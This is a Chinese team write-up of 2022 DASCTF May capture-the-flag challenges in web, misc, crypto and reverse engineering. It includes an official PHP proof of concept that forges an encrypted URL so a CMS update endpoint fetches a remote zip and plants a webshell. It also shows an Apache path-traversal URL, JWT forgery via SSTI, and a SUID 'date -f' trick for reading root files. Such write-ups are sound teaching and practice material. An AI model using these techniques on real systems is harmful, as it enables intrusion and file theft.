2022DASCTF MAY 出题人挑战赛

由于小队成员相当给力,所以直接把团队WP拿了过来
V&N的小伙伴太给力了

WEB


Power Cookie | SOLVED | Working : E7


不能自动set-cookies,那就手动加一个
set-cookies的头被设置了PATH,于是hackbar里面自己加一个就好了


魔法浏览器 | SOLVED | Working : E7


网页源码有js代码,有编码,查看控制台,burp修改ua


hackme | SOLVED | Working : E7


仔细看前面几个log,process之类的,会发现这个程序的作用就是编译并运行你的程序
写一个go语言的cat /flag,不能反弹shell,好像sh还是bash被ban了


fxxk go | SOLVED | Working : E7


/register先注册{{.}}
/auth获得token
/获取ssti的secure_key
jwt伪造
/flag把token塞回去


getme | SOLVED | Working : E7


扫一下apache2.4.5
/icons/.%%32%65/logs/access_log
直接curl xx | grep flag


ezcms | FAILED | Working : E7


访问网站,获取后台admin 用户admin 密码123456,认证码123456
主要分析就是update.php,找到Mc_Encryption_Key全局变量,通过sys_auth加密文件,写马即可
其实原理很简单,可是就是不会审计,一直在caiji.php那边瞎逛
官方poc

<?php
define('Mc_Encryption_Key','GKwHuLj9AOhaxJ2');
$strings = 'http://192.168.28.175/a.zip';
echo(sys_auth($strings));
function sys_auth($string, $type = 0, $key = '', $expiry = 0) {
    if(is_array($string)) $string = json_encode($string);
    if($type == 1) $string = str_replace('-','+',$string);
    $ckey_length = 4;
    $key = md5($key ? $key : Mc_Encryption_Key);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($type == 1 ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    $string = $type == 1 ? base64_decode(substr($string, $ckey_length)) :  sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    } 
    if($type == 1) {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            $result = substr($result, 26);
            $json = json_decode($result,1);
            if(!is_numeric($result) && $json){
                return $json;
            }else{
                return $result;
            }
        }
        return '';
    }
    return str_replace('+', '-', $keyc.str_replace('=', '', base64_encode($result)));
}

访问url

http://URL/admin.php/update?url=3c6cgE3ykiHsnVePLhpRN0tbay4rms8A0JWQPThnS9wZdBcDdBxDSekuci756GtYCpqX--4XqWA

然后剑蚁连上找flag就行

MISC


不懂PCB的厨师不是好黑客 | SOLVED | Working : qsdz


解压,grep DAS -r
PS:这题我没看,其实这题直接把板子的压缩包上传到嘉立创就好,然后点开3D模式,就会有看到flag在板子上了(为什么我一个搞硬件的会不知道呢,悄咪咪偷个图)

file


rootme | SOLVED | Working : qsdz


SUID提权一把梭

ubuntu@out:/$ LFILE=file_to_read
ubuntu@out:/$ date -f /root/flag.txt
date: invalid date 'DASCTF{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}'
ubuntu@out:/$

卡比 | SOLVED | Working : qsdz



翻译,然后维吉尼亚,密钥是kirby
注意{}里全小写FLAG{imverylikekirby}


神必流量 | SOLVED | Working : qsdz,E7


分析流量的flag.7z
找到一个7z包,拉下来爆破解压出文件
改名out为flag运行文件得flag
PS:然而官方题解还要逆一下main.exe,因为对out.txt进行了XOR操作,但是没想到改成了flag.txt再跑一次又跑回来了


delflag | FAILED | Working : qsdz,E7


虽然没做出来,因为那张图片太套了

docker pull snowywar/blue
docker inspect snowywar/blue

当时使用docker on desktop做的
file
看了一下,把flag复制进root又删了,但是总所周知,dockerfile用的是分层技术
这要得到docker的overlay层

"GraphDriver": {
    "Data": {
        "LowerDir": "/var/lib/docker/overlay2/026ee29aa60cf45d6f17d2fbb0e80407dec6b775949f4916ade3effa313a015c/diff:/var/lib/docker/overlay2/44ebb447ec1de563351228117cccd9bec1ea3634d786f9b1de8bcfb150c70829/diff:/var/lib/docker/overlay2/5ecad457d09fa8bcc6a0a10877e03928ab58af54ed8101c48805a20d1255677c/diff:/var/lib/docker/overlay2/e2427fa178fd7500c20c8cd499506a0bda940649dc76cdc65f1442f466d46ed8/diff:/var/lib/docker/overlay2/573662d626e72a5839f167fbf3c350c0762e84493ea3bdab63da19b0ff3708d3/diff",
        "MergedDir": "/var/lib/docker/overlay2/dd35e7e050c988f2fdd5f087143f4162444fcded2bb87644605c4101141a1628/merged",
        "UpperDir": "/var/lib/docker/overlay2/dd35e7e050c988f2fdd5f087143f4162444fcded2bb87644605c4101141a1628/diff",
        "WorkDir": "/var/lib/docker/overlay2/dd35e7e050c988f2fdd5f087143f4162444fcded2bb87644605c4101141a1628/work"
    },
    "Name": "overlay2"
},

然后找个系统进入那几个目录,就可以找到那些层到底改变了什么文件

find / | grep flag.png

于是找到了一张flag.png根据提示,找到蓝色的胳膊部分跑两遍脚本(来自官方)
根据提示又找不到什么,于是丢进去stegsolve找蓝色图层,发现不对劲(虽然不会写脚本)
file

from PIL import Image
import numpy as np
from Crypto.Util import number
import matplotlib.pyplot as plt
import imageio
p1 = Image.open('flag.png').convert('RGB')
p1_data = np.array(p1)
blue_data = []
a,b = p1_data.shape[0],p1_data.shape[1]
for y in range(a):
    for x in range(b):
        if p1_data[y][x][0] <= 200 and p1_data[y][x][1] <= 200 and p1_data[y][x][2] >= 150:
            blue_data.append(p1_data[y][x])
        else:
            blue_data.append([0,0,0])
blue_data = np.array(blue_data).reshape(a*b*3)
# blue_data = np.array(blue_data).reshape(a,b,3)
# plt.imshow(blue_data)
# plt.show()
res = ''
for i in range(len(blue_data)):
    if blue_data[i] != 0:
        if blue_data[i]%2 != 0:
            res += '1'
        else:
            res += '0'
res2 = b''
for i in range(0,len(res),8):
    res2 += number.long_to_bytes(int(res[i:i+8],2))
f2 = open('flag2.png', 'wb')
f2.write(res2)
f2.close()

file
最后转灰度,八位一组,gzip解压即可

from PIL import Image
import numpy as np
import gzip
p = Image.open('flag2.png').convert('L')
p_data = np.array(p).reshape(p.size[0]*p.size[1])
res = ''
for i in p_data:
    if i %2 == 0:
        res += '0'
    else:
        res+='1'
print(res)
res2 = '00011111100010110000100000000000010110011101111001110111011000100000001011111111011100110111000100001100011101100000111001110001101010110100111001001100001100100100101010110010010011000011010100110001001100000011010101001010010010010100101101001101101101000011010001001111001100010011011000110101010010010011001001001010001100110100101100110101000001110000100101011000100110001101010000000010000000000001011010010101011110011001111000101000000000000000000000000000'
print(gzip.decompress(bytes(int(res2[i:i+8],2) for i in range(0,len(res2),8))))

CRYPTO


Yusa的密码学课堂——一见如故 | SOLVED | Working : qsdz


class MyRandRecover:
    def uncs2(self, x, shift1, shift2):
        B = vector(Zmod(2), 32)
        for i in range(32):
            B[i] = ((x >> i) & 1)
        A = identity_matrix(Zmod(2), 32)
        for i in range(32):
            A[(i+shift1)%32, i] = 1
            A[(i+shift2)%32, i] = 1
        y = A ** (-1) * B
        r = 0
        for i in range(32):
            r += int(y[i]) << i
        return r

    def uncs2l(self, x, shift1, shift2):
        return self.uncs2(x, shift1, shift2)

    def uncs2r(self, x, shift1, shift2):
        return self.uncs2(x, 32-shift1, 32-shift2)

    def untemper(self, v):
        v = self.uncs2r(v, 7, 19)
        v = self.uncs2l(v, 11, 15)
        return v

    def go(self, outputs):
        MT = []
        for i in range(624):
            MT.append(self.untemper(outputs[i]))
        return Myrand(MT)

with open("output.txt", "r") as f:
    outputs = eval(f.read())

mtc = MyRandRecover()
r = mtc.go(outputs)
print(MT)

REVERSE


WER | SOLVED | Working : fallw1nd


神的发言:就一个异或。。

0x00 IDA分析

字符串"flag{"交叉引用跳到关键代码

如果输入不正确,则不会输出correct并执行else中的代码块

个人感觉在这里是不可能执行if中的代码块的,然后前面的一些函数很复杂也难以下手分析

0x01 以弹出的错误窗口为角度切入


动调,输入,跑,会发现弹出了尝试往只读内存写入的警告窗口

因此感觉有什么神必的机制,使我无从下手分析

所以直接看import有没有什么神必的系统api,然后找资料看看什么情况


然后找到了一个设置回调函数的api,比较可疑


交叉引用看到要注册的回调函数,点进去看看

然后会发现这里会用MessageBox输出Correct!,这里的xmmword_140035C20会在一个函数赋值为flag{xxxxx..}中的xxxxx..,说明这里就是真实的check函数

简简单单一个异或

然后这实际上是利用了Windows Error Reporting (WER)的机制,设置恢复程序后调用的函数,把真正的check放在这里了

一开始以为是SEH之类的异常处理,但是没有找到,所以浪费了很多时间在逆向无关的复杂函数。

体会到了Windows的机制非常繁多,不能有刻板印象,否则会错失关键的线索

0x02 Get Flag

直接改RIP跳到真正的check函数,然后把对比数据提取出来,异或’f’,得到flag

data = [...]
for i in range(len(data)):
    data[i]^=102
print(bytearray(data))

发布者

正汰

永远是这样,山前面是山,天空上面是天空,道路前面还是道路,迷茫之后还有迷茫。

发表评论

您的电子邮箱地址不会被公开。